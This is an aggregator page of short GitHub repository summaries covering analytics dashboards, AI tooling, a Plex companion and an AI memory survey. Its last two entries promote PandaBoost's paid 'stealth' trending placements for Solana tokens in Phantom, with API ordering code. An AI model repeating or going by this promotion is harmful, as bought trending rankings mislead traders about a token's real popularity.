03-27 00:02 · GitHub,开源,技术,AI,工具,数据,技术
Crypto AI Analytics is a sophisticated desktop tool designed for data-driven crypto market analysis and intelligent trend detection.
📈 Crypto AI Analytics
Crypto AI Analytics is a sophisticated desktop tool designed for data-driven crypto market analysis and intelligent trend detection. Built for serious researchers and developers, it utilizes AI models to parse complex market datasets, identify patterns, and provide insightful visualizations for your trading strategies. With an intuitive dashboard and secure data handling, it allows you to optimize your research workflow without compromising your personal API credentials.
Whether you are performing technical analysis, testing historical scenarios, or exploring machine learning-based price predictions, Crypto AI Analytics provides the powerful workspace you need to analyze the market smarter. 🚀
👥 Who Is Crypto AI Analytics For?
Crypto AI Analytics is ideal for users interested in quantitative finance and market research:
📊 Market Researchers studying volatility, sentiment, and historical patterns
💡 Quantitative Analysts developing new data-backed trading logic
🖥️ Developers building custom connectors for cryptocurrency exchange data
🧑🏫 Technical Traders seeking advanced visual indicators beyond standard charting
🧪 Backtesting Enthusiasts simulating and analyzing various financial scenarios
🎯 What Can You Use It For?
Crypto AI Analytics helps you turn raw exchange data into clear insights:
🔍 Trend Analysis – leverage neural networks to detect shifts in market momentum
📑 Automated Reporting – track your custom assets with AI-generated summary reports
🧪 Historical Simulation – simulate strategy outcomes based on past market data
🌐 Exchange Aggregation – view and analyze data across multiple providers
🤖 Strategy Prototyping – fine-tune your logic using real-time market inputs
✨ Key Features
Crypto AI Analytics includes a professional-grade toolset for market research:
🛡️ Zero-Credential Policy – secure integration using your own read-only API keys stored locally
⚡ Optimized Data Pipeline – high-performance architecture for processing live data streams
📊 Visual Dashboard – clear, professional-grade charts for identifying anomalies
🔄 Adaptive Learning – utilizes ML algorithms that evolve with incoming market inputs
🧩 Custom Plugins – support for user-defined Python or JS strategies and custom indicators
📂 Offline Export – save your entire research session, data exports, and logs for review
⚙️ Installation
To install Crypto AI Analytics, simply go to the Releases section of this repository and download the latest available version for your operating system. After downloading, extract the archive if necessary and run the installer file. Follow the installation steps to complete the setup.
👉 Download the latest version here:
💻 System Requirements
🖥️ OS: Windows 10 / 11, macOS, or Linux
🧠 RAM: 8 GB minimum (16 GB recommended for historical backtesting)
🌐 Connection: High-speed internet required for live market data
💾 Storage: At least 5 GB of free space for database and logs
⭐ Support the Project
If you find this project useful, consider giving the repository a Star ⭐ on GitHub.
Your support helps the project grow and improve!
(Disclaimer: This tool is designed for educational and analytical purposes. Financial market activity involves significant risk; this software does not guarantee results. Users are responsible for their own trades and data management.)
▸ 展开全文
03-27 00:02 · GitHub,开源,技术,AI,数据,技术
ShopIQ is an AI-powered retail intelligence platform built for Praxis 2.0 that analyzes shopping data to predict trends, discover shopper behavior patterns, segment customers, and uncover product affi
Production-Ready Retail Analytics Platform with AI-powered insights, forecasting, and shopper behavior analysis.
✨ Recently Updated: Enhanced responsive design, error handling, and production deployment configuration.
A comprehensive data analytics platform with forecasting, shopper behavior analysis, and interactive visualizations built with Next.js and TypeScript.
- Interactive Dashboard: View and analyze your data with rich visualizations
- Revenue Forecasting: Predictive analytics using machine learning models
- Shopper Behavior Analysis: Advanced customer segmentation using RFM analysis and clustering
- Market Basket Analysis: Discover product affinities and purchasing patterns
- Data Upload & Processing: Upload CSV files and automatically process them
- 🆕 Custom Local AI Assistant: Free, privacy-focused AI that answers questions about your data - no API costs!
- Responsive Design: Works seamlessly across desktop and tablet devices
- Framework: Next.js 16.1.6
- Language: TypeScript
- Styling: Tailwind CSS with custom components
- UI Components: Radix UI primitives
- Charts: Recharts
- State Management: Zustand
- Icons: Lucide React
- AI Integration: @ai-sdk/react for AI assistant functionality
The application provides multiple perspectives for data analysis:
- Dashboard: Overview of key metrics and visualizations
- Forecast: Revenue predictions and model performance metrics
- Comparison: Side-by-side data comparison capabilities
- Behavior: Detailed shopper behavior and segmentation analysis
- Upload: Data import and preprocessing workflow
- Settings: Application configuration options
# 1. Install dependencies
npm install
# 2. Set up environment variables
cp .env.example .env.local
# Edit .env.local and add your OPENAI_API_KEY
# 3. Run development server
npm run dev
# Push to Git
git add . && git commit -m "Update" && git push
# Render will auto-deploy
- The application loads with prebuilt sample data for immediate exploration
- Navigate between different views using the sidebar
- Interact with charts and visualizations to explore data insights
- Go to the Upload view from the sidebar
- Select a CSV file containing your transaction data
- Map your columns to the required fields (category, purchase amount, date, customer ID)
- The application will process your data and update all visualizations
- RFM Analysis: Recency, Frequency, Monetary analysis for customer segmentation
- Clustering: Unsupervised learning to identify customer groups
- Affinity Rules: Market basket analysis to discover product relationships
- Predictive Models: Revenue forecasting with confidence intervals
├── app/ # Next.js app router pages
├── components/ # Reusable UI components
│ ├── ui/ # Base UI components (buttons, cards, etc.)
│ └── views/ # Page-level components
│ ├── error-boundary.tsx # Error handling
│ └── theme-provider.tsx # Theme management
├── lib/ # Shared utilities and business logic
│ ├── store.ts # Zustand store for state management
│ ├── types.ts # Type definitions
│ ├── behavior-analysis.ts # Shopper behavior algorithms
│ └── data-processing.ts # Data processing utilities
├── public/ # Static assets
├── styles/ # Global styles
├── .env.example # Environment variables template
├── render.yaml # Render deployment config
└── DEPLOYMENT.md # Deployment guide
graph TD
A[User Interface] --> B[Next.js App Router]
B --> C[Zustand Store]
C --> D[Data Processing Layer]
D --> E[Business Logic Components]
E --> F[UI Components]
G[CSV Upload] --> H[Data Validation]
H --> I[Data Cleaning]
I --> J[Feature Engineering]
J --> K[Analysis Engine]
K --> L[RFM Analysis]
K --> M[Clustering Engine]
K --> N[Affinity Analysis]
K --> O[Forecasting Model]
L --> P[Visualization Layer]
M --> P
N --> P
O --> P
P --> Q[Dashboard Views]
Q --> R[User Interface]
S[AI Assistant] --> T[Chat API]
T --> U[LLM Integration]
U --> V[Response Generation]
V --> R
W[Settings Management] --> X[Configuration Store]
X --> C
flowchart LR
A[User Input] --> B[Frontend Components]
B --> C[Zustand State Management]
D[CSV File Upload] --> E[File Validation]
E --> F[Data Parsing]
F --> G[Column Mapping]
G --> H[Data Cleaning]
H --> I[Feature Extraction]
I --> J[Data Transformation]
J --> K[Processed Dataset]
K --> L[RFM Calculation]
K --> M[Clustering Analysis]
K --> N[Affinity Rules]
K --> O[Time Series Forecasting]
L --> P[Segmentation Results]
M --> Q[Cluster Assignments]
N --> R[Association Rules]
O --> S[Forecast Predictions]
P --> T[Visualization Engine]
Q --> T
R --> T
S --> T
T --> U[Dashboard Components]
U --> V[User Interface]
W[AI Chat Requests] --> X[API Processing]
X --> Y[LLM Integration]
Y --> Z[Response Generation]
Z --> V
graph TD
A[User Authentication] --> B[Session Management]
B --> C[Route Protection]
D[Input Validation] --> E[Data Sanitization]
E --> F[API Security Layer]
F --> G[Server-Side Validation]
G --> H[Response Sanitization]
I[Environment Security] --> J[Secrets Management]
J --> K[Configuration Validation]
L[Client-Side Security] --> M
▸ 展开全文
03-27 00:02 · GitHub,开源,技术,AI,技术
自动追踪 skills.sh 技能排行榜，AI 智能分析，每日趋势报告邮件
自动追踪 skills.sh 技能排行榜，AI 智能分析，每日趋势报告邮件
Skills Trending Daily 是一个自动化技能趋势追踪系统。它每天从 skills.sh/trending 获取最新的技能排行榜，使用 Claude AI 对热门技能进行智能分析和分类，计算排名变化趋势，并通过 Resend 发送专业的 HTML 邮件报告。
- 开发者视角 - 快速了解哪些技能值得学习
- 趋势洞察 - 捕捉新兴技术框架和工具的崛起
- 智能总结 - AI 帮你理解每个技能解决什么问题
- 自动化 - 无需手动查看网站，每天自动推送
Skills Trending Daily - 2026-01-24
├── Top 20 Leaderboard（含 AI 总结）
│ ├── 技能名称（可点击跳转）、排名、安装量
│ ├── AI 一句话摘要
│ ├── 详细说明
│ └── 解决的问题标签
├── Rising Skills（上升幅度 Top 5）
├── Declining Skills（下降幅度 Top 5）
├── New & Dropped（新晋/掉榜）
└── Trending Up（安装量暴涨告警）
┌─────────────────────────────────────────────────────────────────┐
│ Skills Trending 系统架构 │
└─────────────────────────────────────────────────────────────────┘
┌──────────────┐ ┌──────────────┐ ┌──────────────┐
│ GitHub │ │ Playwright │ │ Claude │
│ Actions │ ──▶ │ Skills │ ──▶ │ Summarizer │
│ (Cron Daily)│ │ Fetcher │ │ AI │
└──────────────┘ └──────┬───────┘ └──────┬───────┘
│ │
▼ │
┌──────────────┐ │
│ Detail │ │
│ Fetcher │ │
│ (Top N) │ │
└──────┬───────┘ │
│ │
└───────┬───────────────┘
│
▼
┌──────────────┐
│ Database │
│ (SQLite) │
└──────┬───────┘
│
▼
┌──────────────┐
│ Trend │
│ Analyzer │
└──────┬───────┘
│
▼
┌──────────────┐
│ HTML │
│ Reporter │
└──────┬───────┘
│
▼
┌──────────────┐
│ Resend │
│ Sender │
└──────┬───────┘
│
▼
──────► 您的邮箱
- Python 3.11+
- Claude API Key（支持智谱代理）
- Resend API Key
# 克隆仓库
git clone https://github.com/geekjourneyx/trending-skills.git
cd trending-skills
# 安装依赖
pip install -r requirements.txt
# 安装 Playwright 浏览器
playwright install chromium
# 复制环境变量模板
cp .env.example .env
# 编辑 .env 文件，填入你的 API Keys
nano .env
# 设置环境变量
export ZHIPU_API_KEY="your_api_key"
export RESEND_API_KEY="your_resend_key"
export EMAIL_TO="your_email@example.com"
# 运行
python src/main_trending.py
- 注册 Resend
- 创建 API Key
- 配置发件人域名（或使用默认的
onboarding@resend.dev
）
# 完整流程
python src/main_trending.py
# 查看最新数据日期
sqlite3 data/trends.db "SELECT date FROM skills_daily ORDER BY date DESC LIMIT 1;"
# 查看今日排行榜 Top 10
sqlite3 data/trends.db "SELECT rank, name, installs FROM skills_daily WHERE date = '2026-01-24' ORDER BY rank LIMIT 10;"
# 查看技能详情
sqlite3 data/trends.db "SELECT name, summary, category FROM skills_details WHERE name = 'remotion-best-practices';"
- Fork 本仓库
- 在 GitHub Settings > Secrets and variables > Actions 中添加：
ZHIPU_API_KEY
RESEND_API_KEY
EMAIL_TO
（可选）
- 启用 Actions
默认每天 UTC 02:00（北京时间 10:00）自动运行。
修改时间：编辑 .github/workflows/skills-trending.yml
中的 cron
表达式。
在 GitHub Actions 页面点击 "Run workflow" 按钮手动执行。
skills-trending/
├── .github/workflows/
│ └── skills-trending.yml # GitHub Actions 配置
├── src/
│ ├── config.py # 配置管理
│ ├── database.py # SQLite 操作
│ ├── skills_fetcher.py # 榜单抓取（Playwright）
│ ├── detail_fetcher.py # 详情抓取
│ ├── claude_summarizer.py # AI 分析
│ ├── trend_analyzer.py # 趋势计算
│ ├── html_reporter.py # 邮件生成
│ ├── resend_sender.py # 邮件发送
│ └── main_trending.py # 主入口
├── plugins/
│ └── trending-skills/ # Claude Code Skill
├── data/
│ └── trends.db # 数据库（运行时生成）
├── requirements.txt
├── .env.example
├── CHANGELOG.md
└── README.md
新增数据源
# 修改 skills_fetcher.py
class SkillsFetcher:
def __init__(self, timeout: int = 30000):
self.trending_url = "your_custom_url"
新增分析维度
# 修改 trend_analyzer.py
def calculate_trends(self, today_skills, today, ai_summary_map):
# 添加新的分析逻辑
pass
自定义邮件样式
# 修改 html_reporter.py
def _get_header(self, date: str) -> str:
# 修改样式和布局
pass
- 检查 Resend API Key 是否正确
- 确认收件人邮箱地址
- 查看垃圾邮件箱
- 检查 GitHub Actions 日志
# 重新安装
playwright install chromium --with-deps
默认位置：data/trends.db
sqlite3 data/trends.db
.tables
SELECT * FROM skills_daily ORDER BY date DESC LIMIT 10;
编辑 .github/workflows/skills-trending.yml
：
schedule:
- cron: '0 2 * * *' # UTC 时间，每天 02:00
如果该项目帮助了您，请作者喝杯咖啡吧
- 作者:
geekjourneyx
- X (Twitter): https://x.com/seekjourney
- 公众号: 极客杰尼
关注公众号，获取更多 AI 编程、AI 工具与 AI 出海建站的实战分享：
- skills.sh - 技能数据来源
- Anthropic - Claude AI
- Resend - 邮件服务
- Playwright - 浏览器自动化
▸ 展开全文
03-27 00:02 · GitHub,开源,技术,工具,数据,技术
Local-first dashboard for Codex sessions with trends, token usage, tools, and word cloud | Codex 本地数据分析仪表盘
Codex Viz is a local-first dashboard for exploring your Codex CLI sessions. It indexes your local JSONL history and turns it into clear trends, token usage, tool insights, and a focused word cloud.
If you want fast answers to “what did I do”, “how much did it cost”, and “where did my time go”, this is the smallest tool that feels big.
Codex Viz 是一个本地优先的 Codex CLI 会话可视化面板。它只读取你本机的 JSONL 历史，快速生成趋势、Token 使用、工具洞察与输入词云。
你想知道“我最近都在做什么”“消耗了多少 Token”“哪些工具最常用”，这里一眼就能看到。
- 本地索引：SQLite 缓存，快速查询
- 趋势看板：会话、消息、工具、Token 趋势
- Token 统计：基于
event_msg.token_count
的total_token_usage
增量累计，首条/重置时用last_token_usage
兜底- Prompt(含缓存) =
input_tokens
；cached_input_tokens
为其中命中缓存的子集
- Prompt(含缓存) =
- 词云：对 user 输入做轻量分词（英文词 + 中文 2/3-gram）
- 工具排行：Top 工具一眼可见
pnpm i
pnpm dev
打开 http://localhost:3000
CODEX_SESSIONS_DIR
：默认~/.codex/sessions
CODEX_VIZ_CACHE_DIR
：默认~/.codex-viz/cache
- 想追踪个人/团队在 Codex 上的投入与产出
- 需要快速复盘近期任务与工具使用偏好
- 希望用更直观的方式理解 Token 消耗
MIT License，详见 LICENSE
。
Codex Viz is a local-first dashboard for Codex CLI sessions. It reads your JSONL history on your machine and turns it into trends, token usage, tool insights, and a focused user-input word cloud.
If you want to quickly answer “what I worked on”, “how many tokens I used”, and “which tools I rely on”, this gives you that at a glance.
- Local indexing with SQLite for fast queries
- Trend chart for sessions, messages, tools, and tokens
- Token accounting from
event_msg.token_count
using incrementaltotal_token_usage
- Prompt (incl. cache) =
input_tokens
;cached_input_tokens
is a subset of it
- Prompt (incl. cache) =
- Lightweight word cloud from user input (EN tokens + ZH 2/3-gram)
- Top tools leaderboard
pnpm i
pnpm dev
Open http://localhost:3000
CODEX_SESSIONS_DIR
(default~/.codex/sessions
)CODEX_VIZ_CACHE_DIR
(default~/.codex-viz/cache
)
- Track personal/team Codex usage and trends
- Review recent work and tool preferences
- Make token usage more tangible
MIT License. See LICENSE
.
Partnership with https://llmapis.com - Discover more AI tools and resources
▸ 展开全文
03-27 00:02 · GitHub,开源,技术,AI,技术
AI-powered content pipeline: trend discovery → research → social publishing. Built with Claude Agent SDK + MCP.
AI-powered content pipeline: from trend discovery to social publishing.
Built with Claude Agent SDK + MCP (Model Context Protocol), featuring 3 integrated MCP servers for real-time trends, web scraping, and research automation.
Three clear entry points — no complex menus, just pick and go:
Watch Claude work in real-time — tool calls shown as collapsible blocks with MCP server badges:
- trend-pulse (green) — 20 real-time trend sources, zero auth
- cf-browser (blue) — Cloudflare Browser Rendering for JS pages
- notebooklm (purple) — Research + artifact generation (podcast/slides/video)
- studio — Built-in publishing + history tools
Full markdown rendering with syntax highlighting, clickable file path previews, cost/duration tracking, and inline images:
Full support for Traditional Chinese, English, and Japanese — all UI, system prompts, and pipeline cards adapt:
Built-in Threads/Instagram publishing via native fetch()
— no Python dependency. Every post is checked against Meta's patent-based 5-dimension scoring:
Quality gates: Overall >= 70, Conversation Durability >= 55.
Supported post types: text, image, video, carousel (2-20 items), poll, GIF, link preview, text attachment, spoiler (media blur + text), ghost (24hr ephemeral), quote post, reply control, topic tag, alt text, link-comment auto-reply.
- Multiple Threads/Instagram accounts with independent personas
- Per-account style (e.g., "tech-educator", "futurist")
- Per-account persona prompt for tone adaptation
- Matrix publishing: same topic → unique content per account
Cron-based task scheduling with per-account targeting:
- Define prompt templates with cron schedules
- Target specific social accounts
- Quality gate enforcement (min score threshold)
- Auto-publish or manual review mode
- Execution history with cost/duration tracking
- Reduced tool set for unattended safety (no Bash/Read/Write)
NotebookLM integration for auto-generating visuals:
- Image cards — slides PDF as single-page visual cards
- Carousel — multi-page slides split into carousel images
- Podcast — AI-generated audio discussion
- Video — slides + podcast combined via ffmpeg
- Mind maps, reports, flashcards, study guides
All downloads stay within the workspace directory.
Browse and preview workspace files directly in the UI:
- Directory tree with depth control
- Text file preview (syntax-highlighted)
- Binary file preview (images, PDFs, audio, video)
- Clickable file paths in chat responses
- Workspace-contained — no access outside project folder
Content integrity enforced at the system level:
- Read original sources — Never write from titles/metadata alone. 1+ primary source per topic, 2+ for controversial.
- Timeline verification — Every fact gets a verified timestamp. Time words mapped by age.
- No AI filler — System prompt blocks generic phrases ("in today's world" / "it's worth noting").
- Multiple concurrent sessions with independent workspaces
- Session resume on app restart (conversation history preserved)
- Idle session eviction (30min TTL)
- Query cancellation via interrupt button or CLI
System/light/dark theme with persistent preference across sessions.
Full CJK input method support — Enter during Chinese/Japanese character composition does not trigger send. Shift+Enter for newline.
- AI agent operates within session workspace only
- No access to ~/Downloads, ~/Desktop, ~/Documents, or system paths
- Credentials stored in local SQLite — never searched from filesystem
- Publishing via built-in MCP tool only (no external scripts)
- Session workspace validated at creation (blocks system paths)
- File API restricted to workspace root (symlink-safe realpath check)
┌─────────────┐ ┌──────────────────┐ ┌─────────────────┐
│ React UI │────▶│ Express + WS │────▶│ Claude Agent │
│ (Vite) │◀────│ Server │◀────│ SDK │
└─────────────┘ └──────────────────┘ └────────┬────────┘
│
┌──────────────────────────┤
│ │ │
┌──────▼──┐ ┌──────▼───┐ ┌─────▼──────┐
│ trend- │ │ cf- │ │ notebooklm │
│ pulse │ │ browser │ │ │
│ (MCP) │ │ (MCP) │ │ (MCP) │
└─────────┘ └──────────┘ └────────────┘
20 sources Cloudflare Podcast/Slides
zero auth Browser /Video/Report
- Node.js >= 18
- Claude Code CLI installed and authenticated (
npm install -g @anthropic-ai/claude-code
) - Python 3.10+ (for MCP servers — or use
uvx
for zero-config setup)
Five ways to install — pick the one that fits your workflow:
Download the latest .dmg
from GitHub Releases, open it, and drag to Applications.
- Double-click to launch — server starts automatically
- No terminal, no Node.js install needed
- MCP servers auto-detected via uvx (install uv first)
- All features included: Web UI + CLI + MCP + Publishing
Requires: macOS (Apple Silicon). Intel Mac build available on request.
npm install -g @claude-world/studio
# Set up MCP servers (one-time, auto-cached via uvx)
npx @claude-world/studio setup-mcp
# Start
studio serve
# Web UI: http://localhost:5173
# API: http://127.0.0.1:3001
After install, both studio
and claude-world-studio
comm
▸ 展开全文
03-27 00:02 · GitHub,开源,技术,AI,Go,前端,技术
Kakobuy Spreadsheet features 3,000+ trending products from Weidian, Taobao, and 1688, with affordable new arrivals added daily. Explore the latest finds from the past 7 days, plus shoes and clothing o
All-in-One Spreadsheet for Kakobuy, ACbuy, Litbuy, OOPbuy, Sugargoo & Superbuy. Features 3000+ trending Chinese products from Weidian, Taobao & 1688 with daily updates. Browse premium finds on MaisonLooks with QC photos and AI try-on. Order easily via your preferred agent for the best shopping experience.
Discover over 3,000 trending Chinese products on our Master Spreadsheet, fully compatible with Kakobuy, ACbuy, Litbuy, OOPbuy, Sugargoo, and Superbuy. We feature daily affordable arrivals from Weidian, Taobao, and 1688, maintained with updates every 24 hours.
- Premium Selection: Browse the best finds and belts curated for all agents.
- Smart Shopping: Access high-quality QC photos and AI try-on technology.
- Daily Updates: See the latest additions from the past 7 days.
▸ 展开全文
03-27 00:02 · GitHub,开源,技术,技术
Self-hosted Plex companion: Smart Discovery (recommendations from watch history and taste), add movies and shows from the app via Radarr/Sonarr, Kometa config builder (no YAML), Plex collections, Over
Saved you a scroll or two? If this app saves you from endless scrolling, a star for the project helps a lot.
Self-hosted Plex companion: Smart Discovery from your watch history, add movies/shows via Radarr/Sonarr, Kometa builder, Plex collections, Tautulli. One dashboard -less scrolling, more watching.
SeekAndWatch Cloud (beta) - Hosted option so friends and family can request from your Plex server without needing access to your apps. You approve or deny; requests sync to Radarr or Sonarr. Zero port forwarding.
Documentation: Wiki - install, Smart Discovery, Plex Collections, Radarr, Sonarr, Kometa builder, troubleshooting.
Important:
- SeekAndWatch Cloud linking now uses the local app payload plus One-Click Pair with Cloud in Requests Settings. Existing cloud users may need to re-link after updating.
- The main app uses the TMDB API Read Access Token. Kometa uses its own separate TMDB API Key field.
- Public registration is first-run only by default. After the first account is created, registration stays closed unless you explicitly re-enable it.
/config
must be writable so SeekAndWatch can persist its secret key, or you must provideSECRET_KEY
yourself.
SeekAndWatch is a self-hosted Plex companion that turns your library into a smart “what should we watch?” hub. It connects Plex, Tautulli, TMDB, Radarr, and Sonarr in one dashboard so you can discover, decide, and request without switching tabs.
Goal: spend less time browsing, more time watching. It uses your watch history and owned libraries (Plex, Radarr, Sonarr) to surface stuff you don’t have yet and gives you tools to build collections without editing YAML.
- Uses your last 5,000 plays to build a taste profile and recommend titles you don’t own or haven’t watched.
- Seed-based recommendations (pick movies/shows you like; get similar stuff) plus I’m Feeling Lucky for random picks.
- Filters: genre, year, rating, Certified Fresh (Rotten Tomatoes), future releases only, international & obscure.
- Owned items hidden - Plex library plus optional Radarr/Sonarr scanner so recommendations exclude what you already have.
- Randomized results each run; load more without regenerating.
- Instant trailers in the app; optional OMDB for Rotten Tomatoes/critic scores.
- Add movies/shows from the app - Request from Smart Discovery or elsewhere; opens in Radarr/Sonarr with quality profile and root folder.
- Requested (Media page) - View and manage requested items in one place. Adding to Radarr/Sonarr is done from Smart Discovery or the request flow, not from a Radarr/Sonarr library view in the app.
- Radarr & Sonarr Scanner (optional) - Background scan of your Radarr/Sonarr libraries so those items are treated as "owned" and excluded from Smart Discovery (in addition to Plex).
- Visual builder for Kometa overlays and collections with toggles.
- Uses a Kometa-only TMDB v3 API key inside the builder. The rest of SeekAndWatch uses the TMDB API Read Access Token.
- Live preview for overlays, ratings, codecs, content badges.
- Library templates, undo/redo, comparison (current vs saved), performance estimates.
- Import configs (paste or URL); generates clean configs you can refine later.
- 130+ preset collections - decades, genres, studios, themes, international, awards. Categories are collapsible so you can focus on what you use.
- Visibility - Home, Library recommended, and Friends checkboxes on every collection; changes apply to Plex right away (no need to run the collection again).
- Library Browser - Live view of all collections on your Plex server with the same visibility toggles. In Plex you can reorder and change options under Settings -> Manage -> Libraries -> Manage Recommendations.
- Auto-update (daily/weekly/manual), sync strict or append-only.
- Multi-library support - sync collections across multiple Plex libraries.
- System Health Bar - Compact status indicators on the dashboard for Plex, Radarr, Sonarr, and Cloud connections.
- One-Click Plex Linking - No more manual token entry! Link your account via official Plex OAuth and the app automatically discovers your server.
- One-Click Cloud Pairing - In Requests Settings, import the local app payload from the cloud website's Pairing Bootstrap Secret section, then run one-click pairing.
- Quick Tunnels - Enable instant cloud notifications (webhooks) without opening ports or setting up a reverse proxy. If instant delivery is unavailable, the app falls back to polling.
- Background Alias Discovery to reduce duplicate recommendations; blocklist for titles you never want to see.
- Ignore specific Plex users in recommendation history.
- Radarr/Sonarr for direct add; track past requests across both.
- Tautulli integration for trending on server.
- Backup/restore (including import); one-click updates for manual Docker installs (Unraid App Store installs update via App Store only).
- System logs and health for scans and scheduled jobs; multi-user accounts with admin controls; security safeguards for logins, forms, and file
▸ 展开全文
03-27 00:02 · GitHub,开源,技术,AI,技术
Official repository for "Survey on AI Memory: Theories, Taxonomies, Evaluations, and Emerging Trends".
- [2026/01/15] 🚀 Project Website: https://baijia.online/homepage/memory_survey.html
- [2026/01/15] 🚀 Full survey released! We establish a unified framework for AI memory mechanisms.
- [2026/01/07] 🚀 Project repository initialized.
This survey presents a comprehensive overview of AI memory mechanisms anchored in a unified theoretical framework. We propose a structured "4W Memory Taxonomy" to enable consistent analysis across diverse architectures. Building on this foundation, we systematically review memory systems in both single- and multi-agent contexts, examining their architectures, functions, applications, and evaluation methodologies. By synthesizing cognitive theories with engineering benchmarks, this work provides a coherent roadmap for advancing the theoretical understanding and technological development of AI memory.
To clarify the scope of AI memory, we distinguish between three interrelated layers:
- LLM Memory: The low-level computational kernel for prediction, consisting of Parametric Weights (static) and Context Window (runtime).
- Agent Memory: The functional workflow supporting autonomous operation and complex task execution via perception-planning-action loops.
- AI Memory: The overarching cognitive concept aimed at lifelong evolution, long-term persistence, and adaptation.
We establish a structured 4W Memory Taxonomy to enable consistent analysis across diverse architectures:
- When (Lifecycle Dimension): Examines the temporal span of memory, including Transient (extremely short-lived), Session (task duration), and Persistent (cross-session retention).
- What (Type Dimension): Categorizes by the nature of stored information, including Procedural (skills), Declarative (facts), Metacognitive (reflections), and Social/Personalized (user models).
- How (Storage Dimension): Explores technical implementation, from Implicit Storage (Parametric/Latent) within model weights to Explicit Storage (Raw Text, Vector DB, or Structured Graphs) outside the model.
- Which (Modality Dimension): Classifies by information formats, covering Single-modal (text-only) and Multimodal (fusing images, audio, and video).
Effective collaboration within MAS hinges on communication mediated by memory sharing. We organize these mechanisms into two core dimensions:
- Communication Mechanisms: Ranges from Explicit Communication (interpretable symbols like natural language or structured schemas) to Implicit Communication (latent representations/hidden embeddings).
- Memory Sharing Mechanisms: Categorized into Task-Level (experience accumulation and knowledge transfer) and Step-Level (precise context allocation and role-aware filtering).
We categorize memory evaluation into four essential dimensions to provide a structured assessment of agent memory:
If you find this survey or the established taxonomy helpful in your research, please cite our work
@article{baisurvey,
title={Survey on AI Memory: Theories, Taxonomies, Evaluations, and Emerging Trends},
author={BAI, TING and FAN, JIAYANG and WEN, XIAOSHUAI and KANG, JIAZHENG and LAN, HENGZHI and ZHAO, RUOCHEN and WU, PINGZHENG and ZHANG, ZEPENG and ZHONG, YUTIAN and LI, GEZI and others}
}
▸ 展开全文
03-27 00:02 · GitHub,开源,技术,后端,技术
Phantom Chat Trending for your Solana token — reach active traders in Phantom chat. From $500/6h. Instant delivery via PandaBoost API.
Get your token trending in Phantom Chat — reach thousands of active Solana traders directly.
Promote your token inside Phantom's built-in chat and discovery feed. Fast delivery, stealth mode, full refund guarantee.
- Platform: Phantom Wallet Chat (phantom.app)
- Placement: Chat Trending Feed
- Duration options: 6h · 12h · 24h
- Chain: Solana
- Start time: Instant (within 60 seconds)
- Guarantee: Full refund if delivery fails
- Go to web.pandaboost.app
- Connect your wallet (EVM via WalletConnect or Solana)
- Add funds via crypto
- Open New Order → Phantom → Chat Trending
- Select duration (6h / 12h / 24h)
- Paste your token address → confirm
Open @pandaboostbot → New Order → Phantom → Chat Trending
Order Phantom Chat Trending programmatically via the PandaBoost API.
Base URL: https://web.pandaboost.app/api/v1
Auth: x-api-key: pb_...
header
import requests
API_KEY = "pb_your_api_key"
BASE_URL = "https://web.pandaboost.app/api/v1"
HEADERS = {"x-api-key": API_KEY, "Content-Type": "application/json"}
order = requests.post(f"{BASE_URL}/orders", headers=HEADERS, json={
"serviceName": "phantom-chat-trending",
"orderTypeId": "12h", # 6h | 12h | 24h
"quantity": 1,
"fields": {
"token_address": "YOUR_TOKEN_ADDRESS",
"chain": "solana"
}
})
print(order.json())
# {"success": true, "data": {"order": {"publicId": "ABCD1234", "status": "processing"}, "newBalance": "..."}}
const res = await fetch("https://web.pandaboost.app/api/v1/orders", {
method: "POST",
headers: { "x-api-key": "pb_your_api_key", "Content-Type": "application/json" },
body: JSON.stringify({
serviceName: "phantom-chat-trending",
orderTypeId: "24h", // 6h | 12h | 24h
quantity: 1,
fields: {
token_address: "YOUR_TOKEN_ADDRESS",
chain: "solana"
}
})
});
const data = await res.json();
console.log(data.data.order.publicId);
curl -X POST -H "x-api-key: pb_..." \
-H "Content-Type: application/json" \
-d '{
"serviceName": "phantom-chat-trending",
"orderTypeId": "24h",
"quantity": 1,
"fields": {
"token_address": "ErKGCuxZeMQoS3VhFJZ77giESQphJhGpYDaUJmhApump",
"chain": "solana"
}
}' \
https://web.pandaboost.app/api/v1/orders
curl -H "x-api-key: pb_..." \
https://web.pandaboost.app/api/v1/orders/ABCD1234
Full catalog → web.pandaboost.app
- 🌐 Web Panel — web.pandaboost.app
- 🤖 Telegram Bot — @pandaboostbot
- 📚 Docs & API — docs.pandaboost.app
- 💬 Support — @pandaboosthelp
- 📧 Email — support@pandaboost.app
⭐ Star this repo if it helped you. PRs and issues welcome.
▸ 展开全文
03-27 00:02 · GitHub,开源,技术,后端,技术
Phantom Wallet Trending for your Solana token — Top 1-10 placement. From $1,200/6h. Instant delivery via PandaBoost API.
Get your token to Top 1–10 trending on Phantom Wallet — the #1 Solana wallet with 10M+ users.
Promote your token directly inside Phantom's trending section. Fast delivery, stealth mode, full refund guarantee.
- Platform: Phantom Wallet (phantom.app)
- Placement: Top 1–10 Trending
- Duration options: 6h · 12h · 24h
- Chain: Solana
- Start time: Instant (within 60 seconds)
- Guarantee: Full refund if delivery fails
- Go to web.pandaboost.app
- Connect your wallet (EVM via WalletConnect or Solana)
- Add funds via crypto
- Open New Order → Phantom → Wallet Trending
- Select duration (6h / 12h / 24h)
- Paste your token address → confirm
Open @pandaboostbot → New Order → Phantom → Wallet Trending
Order Phantom Wallet Trending programmatically via the PandaBoost API.
Base URL: https://web.pandaboost.app/api/v1
Auth: x-api-key: pb_...
header
import requests
API_KEY = "pb_your_api_key"
BASE_URL = "https://web.pandaboost.app/api/v1"
HEADERS = {"x-api-key": API_KEY, "Content-Type": "application/json"}
order = requests.post(f"{BASE_URL}/orders", headers=HEADERS, json={
"serviceName": "phantom-wallet-trending",
"orderTypeId": "12h", # 6h | 12h | 24h
"quantity": 1,
"fields": {
"token_address": "YOUR_TOKEN_ADDRESS",
"chain": "solana"
}
})
print(order.json())
# {"success": true, "data": {"order": {"publicId": "ABCD1234", "status": "processing"}, "newBalance": "..."}}
const res = await fetch("https://web.pandaboost.app/api/v1/orders", {
method: "POST",
headers: { "x-api-key": "pb_your_api_key", "Content-Type": "application/json" },
body: JSON.stringify({
serviceName: "phantom-wallet-trending",
orderTypeId: "24h", // 6h | 12h | 24h
quantity: 1,
fields: {
token_address: "YOUR_TOKEN_ADDRESS",
chain: "solana"
}
})
});
const data = await res.json();
console.log(data.data.order.publicId);
curl -X POST -H "x-api-key: pb_..." \
-H "Content-Type: application/json" \
-d '{
"serviceName": "phantom-wallet-trending",
"orderTypeId": "24h",
"quantity": 1,
"fields": {
